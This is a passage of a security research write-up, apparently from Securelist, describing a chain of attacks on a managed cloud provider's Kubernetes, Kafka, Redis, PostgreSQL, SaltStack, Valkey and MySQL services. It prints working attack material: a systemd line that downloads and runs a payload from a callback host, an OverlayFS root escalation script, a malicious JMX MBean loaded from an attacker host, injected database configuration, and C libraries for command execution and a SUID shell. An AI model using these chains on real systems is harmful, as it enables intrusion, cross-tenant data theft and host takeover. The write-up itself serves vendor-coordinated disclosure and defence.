      PacketType type = 1;
    
      oneof payload {
        DialRequest dialRequest = 2;
        DialResponse dialResponse = 3;
        Data data = 4;
        CloseRequest closeRequest = 5;
        CloseResponse closeResponse = 6;
        CloseDial closeDial = 7;
      }
    }
    
    message DialRequest {
        // tcp or udp?
        string protocol = 1;
        // node:port
        string address = 2;
        // random id for client, maybe should be longer
        int64 random = 3;
    }

    The server reads any Packet packets from the stream initiated by the agent (worker node):

    //apiserver-network-proxy/pkg/server/server.go:721
    in, err := stream.Recv()
    ...
    recvCh <- in

    Next, the packets go to the backend manager:

    //apiserver-network-proxy/pkg/server/server.go:748
    
    func (s *ProxyServer) serveRecvBackend(...) {
        for pkt := range recvCh {
            switch pkt.Type {

    Then comes the most interesting part:

    //apiserver-network-proxy/pkg/server/server.go:888
    
    case client.PacketType_DIAL_REQ:
        req := pkt.GetDialRequest()
        klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address)
        s.handleDialRequest(pkt, backend)

    In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).

    //apiserver-network-proxy/pkg/server/server.go:921
    func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
      ...
      dialReq := pkt.GetDialRequest()
      resp.GetDialResponse().Random = dialReq.Random
    
      start := time.Now()
      conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address

    This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:

    org.freedesktop.DBus
     org.freedesktop.PackageKit
     org.freedesktop.PolicyKit1
     org.freedesktop.login1
     org.freedesktop.systemd1
     com.ubuntu.SoftwareProperties

    Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:

    busctl --address=unix:path=/tmp/master-dbus.sock \
      call org.freedesktop.login1 \
           /org/freedesktop/login1 \
           org.freedesktop.login1.Manager \
           SetUserLinger ubb 997 true false

    The following sockets were then opened:

    /run/user/997/bus
     /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.)

    Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service:

    StartTransientUnit(
      name: string,
      mode: string,
      properties: a(sv),
      aux: a(sa(sv))
    ) -> job object path

    The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line:

    ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"

    As a result, we successfully received a callback from the control plane.

    Konnectivity-server context and node network interfaces

    Konnectivity-server context and node network interfaces

    Mirantis, the company behind the k0s project, confirmed the vulnerability.

    1.4. Privilege escalation on the host

    Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).

    In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.

    To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.

    rm -rf /tmp/lpe
    mkdir /tmp/lpe
    cd /tmp/lpe
    
    unshare -rm sh -c '
     mkdir l u w m &&
     cp /usr/bin/python3 l/ &&
     chmod 755 l/python3 &&
     setcap cap_setuid+eip l/python3 &&
     mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
     touch m/*
    '
    getcap /tmp/lpe/u/python3
    /tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'
    Confirmation of command execution with root privileges

    Confirmation of command execution with root privileges

    Gaining root privileges opened up several interesting attack vectors:

    1. We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
    2. The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.

    2. Adventures in the overlay network

    2.1. Victoria stack

    An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.

    When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:

    "discoveredLabels": {
               "__address__": "http://100.64.1.1:6897/metrics",
               "__meta_url": "CENSORED",
               "__metrics_path__": "/metrics",
               "__scheme__": "http",
               "__scrape_interval__": "2m0s",
               "__scrape_timeout__": "2m0s",
               "cluster_id": "676767",
               "customer": "customerID",
               "job": "http",
               "profile": "kubernetes",
               "vds_id": "1337",
               "version": "1.0"
             }

    It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.

    We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
    Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.

    Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.

    Private SSH key in a VictoriaLogs record

    Private SSH key in a VictoriaLogs record

    We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.

    Process privileges on the host and available actions in Kubernetes

    Process privileges on the host and available actions in Kubernetes

    Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.

    2.2. Compromising managed Kafka instances

    We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.

    Discovered Java RMI service on port 9999

    Discovered Java RMI service on port 9999

    The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:

    • JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
    • JmxInvoke.java: invokes the selected MBean method through the JMX Registry.
    • ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.

    The code that handles the connection and initialization of the MBean component looks like this:

    //JmxCreateMBean.java
    ...
    import javax.management.remote.JMXConnector;
    import javax.management.remote.JMXConnectorFactory;
    import javax.management.remote.JMXServiceURL;
    
    public class JmxCreateMBean {
        private static final class RewritingSocketFactory extends RMISocketFactory {
            private final String fromHost;
            private final String toHost;
    
            RewritingSocketFactory(String fromHost, String toHost) {
                ...
            }
    
            @Override
            public Socket createSocket(String host, int port) throws IOException {
                ...
            }
    
            @Override
            public ServerSocket createServerSocket(int port) throws IOException {
                ...
            }
        }
    
        public static void main(String[] args) throws Exception {
            ...
            RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
            String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);
    
            try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
                var mbsc = connector.getMBeanServerConnection();
                try {
                    ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
                    System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
                } catch (InstanceAlreadyExistsException e) {
                    System.out.println("EXISTS " + args[5]);
                }
            }
        }
    }

    Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:

    // Exec.java
    import java.nio.charset.StandardCharsets;
    import java.nio.file.Files;
    import java.nio.file.Path;
    import java.util.Base64;
    
    public class Exec implements ExecMBean {
        @Override
        public String run(String cmd) throws Exception {
            Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
            byte[] out = p.getInputStream().readAllBytes();
            int rc = p.waitFor();
            return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
        }
    
        @Override
        public String getB64(String path) throws Exception {
            return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
        }
    
        @Override
        public String putB64(String path, String b64) throws Exception {
            byte[] data = Base64.getDecoder().decode(b64);
            Files.write(Path.of(path), data);
            return "wrote " + data.length + " bytes";
        }
    }

    After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.

    <html>
    <mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet>
    </html>

    We then perform the following steps:

    1. Create a standard MLet loader inside the Kafka JVM.
    2. Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.
    3. Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.
    Kafka process context and node network interfaces

    Kafka process context and node network interfaces

    This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.

    2.3. Credential leakage through redis-exporter

    The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:

    //redis_exporter/exporter/http.go:47
    func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
      target := r.URL.Query().Get("target")
    ...
    
      if !strings.Contains(target, "://") {
        target = "redis://" + target
      }
    
      u, err := url.Parse(target)
    ...
    
      opts := e.options
    ...
      _, err = NewRedisExporter(target, opts)
    ...

    Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:

    http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server>
    AUTH command in an intercepted Redis request

    AUTH command in an intercepted Redis request

    The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.

    Diagnostic information of the Valkey instance

    Diagnostic information of the Valkey instance

    (Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).

    2.4. Compromise of managed PostgreSQL (Patroni) clusters

    The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.

    Patroni configuration in etcd

    Patroni configuration in etcd

    {
      "ttl": 30,
      "loop_wait": 10,
      "retry_timeout": 10,
      "maximum_lag_on_failover": 1048576,
      "postgresql": {
        "use_pg_rewind": true,
        "parameters": {
          "archive_command": "id",
          "archive_mode": "always",
          "max_connections": 550,
          "max_locks_per_transaction": 512,
          "max_worker_processes": 27
        }
      }
    }

    Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:

    Update the Patroni configuration with the modified archive_command:

    curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq

    Update the configuration again to add the standby_cluster parameter:

    {
    "ttl": 30,
    "loop_wait": 10,
    "retry_timeout": 10,
    "maximum_lag_on_failover": 1048576,
    "postgresql": {
     "use_pg_rewind": true,
     "parameters": {
       "archive_command": "rce",
       "archive_mode": "on",
       "archive_timeout": "10",
       "max_connections": 550,
       "max_locks_per_transaction": 512,
       "max_worker_processes": 27
     }
    },
    "standby_cluster": {
     "host": "192.0.2.1",
     "port": 5432
    }
    }

    After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:

    cannot be a real primary in standby cluster  
    Demoting self (demote-cluster)  
    received fast shutdown request  
    checkpoint starting: shutdown immediate

    Postgres then restarts, and the archiving process runs and executes the injected command:

    PostgreSQL process context and node network interfaces

    PostgreSQL process context and node network interfaces

    This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.

    Database and S3 access parameters in a backup file

    Database and S3 access parameters in a backup file

    This storage holds backups not only of the current instance but also of all other databases in the cloud.

    List of backup storage locations in S3

    List of backup storage locations in S3

    3. Attack on SaltStack management infrastructure

    After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.

    3.1. Analysis of salt fs

    The first step was to dump the entire Salt master file system for subsequent static analysis:

    Fragment of the Salt Master file list

    Fragment of the Salt Master file list

    It contained numerous files.

    salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
          mkdir -p "/tmp/dump/$(dirname "$f")"
          salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
        done

    Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:

    sql = query.format(
                minion_id=minion_id,
                pillar={**pillar, **results},
                grains=__grains__,
            )
            loaded_items = db_connections[db_alias].load_object_list(sql)

    A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.

    Database error during pillar processing

    Database error during pillar processing

    3.2. Exploiting the SQLi

    This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.

     Fragment of the table list in the cloudsmth schema

    Fragment of the table list in the cloudsmth schema

    Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.

    Records with Salt Master authentication tokens

    Records with Salt Master authentication tokens

    With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:

    curl -k https://salt-master:8000   -H "Accept: application/json"   -H "Content-Type: application/json"   -H "X-Auth-Token: REDACTED"   -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]'

    By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.

    4. Other ways to attack the cloud

    It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.

    4.1. Exploiting a vulnerability in Managed Valkey

    During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:

    valkey_version=7.2.11
    redis_version=7.2.4
    redis_git_sha1=97b6663c
    redis_git_dirty=0
    redis_build_id=a75ca2f023d97d88
    gcc_version=13.3.0
    arch_bits=64
    os=Linux 6.8.0-124-generic x86_64
    executable=/usr/bin/valkey-server

    The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.

    CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:

    NoExecPaths=/
    ExecPaths=/usr/bin/valkey-server /usr/lib /lib
    CapabilityBoundingSet=
    NoNewPrivileges=true
    PrivateUsers=true
    ProtectSystem=strict
    ProtectHome=true
    SystemCallFilter=@system-service
    SystemCallFilter=~ @privileged @resources

    These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.

    Valkey process context and Salt grains parameters

    Valkey process context and Salt grains parameters

    The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.

    4.2. MySQL

    The MySQL database user didn’t have root privileges when the resource was created.

    DROP TABLE IF EXISTS mysql.global_grants;
    CREATE TABLE mysql.global_grants (
    USER char(32) NOT NULL DEFAULT '',
    HOST char(255) NOT NULL DEFAULT '',
    PRIV char(32) NOT NULL DEFAULT '',
    WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
    PRIMARY KEY (USER, HOST, PRIV)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

    However, the application logic allowed this user to drop and recreate the table with dynamic privileges:

    DROP TABLE IF EXISTS mysql.user;
    
      CREATE TABLE mysql.user (
        Host char(255) NOT NULL DEFAULT '%',
        User char(32) NOT NULL DEFAULT '',
        Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
        ssl_cipher blob NOT NULL,
        x509_issuer blob NOT NULL,
        x509_subject blob NOT NULL,
        max_questions int unsigned NOT NULL DEFAULT 0,
        max_updates int unsigned NOT NULL DEFAULT 0,
        max_connections int unsigned NOT NULL DEFAULT 0,
        max_user_connections int unsigned NOT NULL DEFAULT 0,
        plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
        authentication_string text,
        password_expired enum('N','Y') NOT NULL DEFAULT 'N',
        password_last_changed timestamp NULL DEFAULT NULL,
        password_lifetime smallint unsigned DEFAULT NULL,
        account_locked enum('N','Y') NOT NULL DEFAULT 'N',
        Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Password_reuse_history smallint unsigned DEFAULT NULL,
        Password_reuse_time smallint unsigned DEFAULT NULL,
        Password_require_current enum('N','Y') DEFAULT NULL,
        User_attributes json DEFAULT NULL,
        PRIMARY KEY (Host, User)
      ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

    After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:

    INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
    INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
    INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
    FLUSH PRIVILEGES;

    Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.

    #include <stdlib.h>
    #include <string.h>
    #include <stdio.h>
    
    typedef unsigned long long udf_args_type;
    
    typedef struct {
     unsigned int arg_count;
     unsigned int *arg_type;
     char **args;
     unsigned long *lengths;
     char *maybe_null;
     char **attributes;
     unsigned long *attribute_lengths;
     void *extension;
    } UDF_ARGS;
    
    typedef struct {
     char maybe_null;
     unsigned int decimals;
     unsigned long max_length;
     char *ptr;
     char const_item;
     void *extension;
    } UDF_INIT;
    
    int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
     if (args->arg_count != 1) {
         strcpy(message, "sys_eval requires one argument");
         return 1;
     }
     initid->max_length = 65535;
     return 0;
    }
    
    void sys_eval_deinit(UDF_INIT *initid) {}
    
    char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
                unsigned long *length, char *is_null, char *error) {
     if (!args->args[0]) { *is_null = 1; return NULL; }
     char cmd[65535];
     snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
     FILE *pipe = popen(cmd, "r");
     if (!pipe) { *is_null = 1; return NULL; }
     static char buf[65535];
     size_t total = 0;
     while (total < sizeof(buf)-1) {
         size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
         if (n == 0) break;
         total += n;
     }
     pclose(pipe);
     buf[total] = '\0';
     *length = total;
     return buf;
    }

    RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:

    curl -s -X PATCH "https://somecloud/api/dbaas/id" \
      -H "Content-Type: application/json" \
      -H "Authorization: Bearer $TOKEN" \
      -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}'

    This vector made it possible to inject line breaks and override critical configuration parameters:

    default-time-zone="+00:00
    secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access.
    plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.

    With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:

    SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so

    We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:

    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';
    Result of executing id via MySQL UDF

    Result of executing id via MySQL UDF

    The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:

    #include <stdlib.h>
    __attribute__((constructor)) static void init(void) {
      system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash");
    }

    We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.

    Conclusion

    The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.

    Source: Securelist (Kaspersky GReAT) · 2026-10-27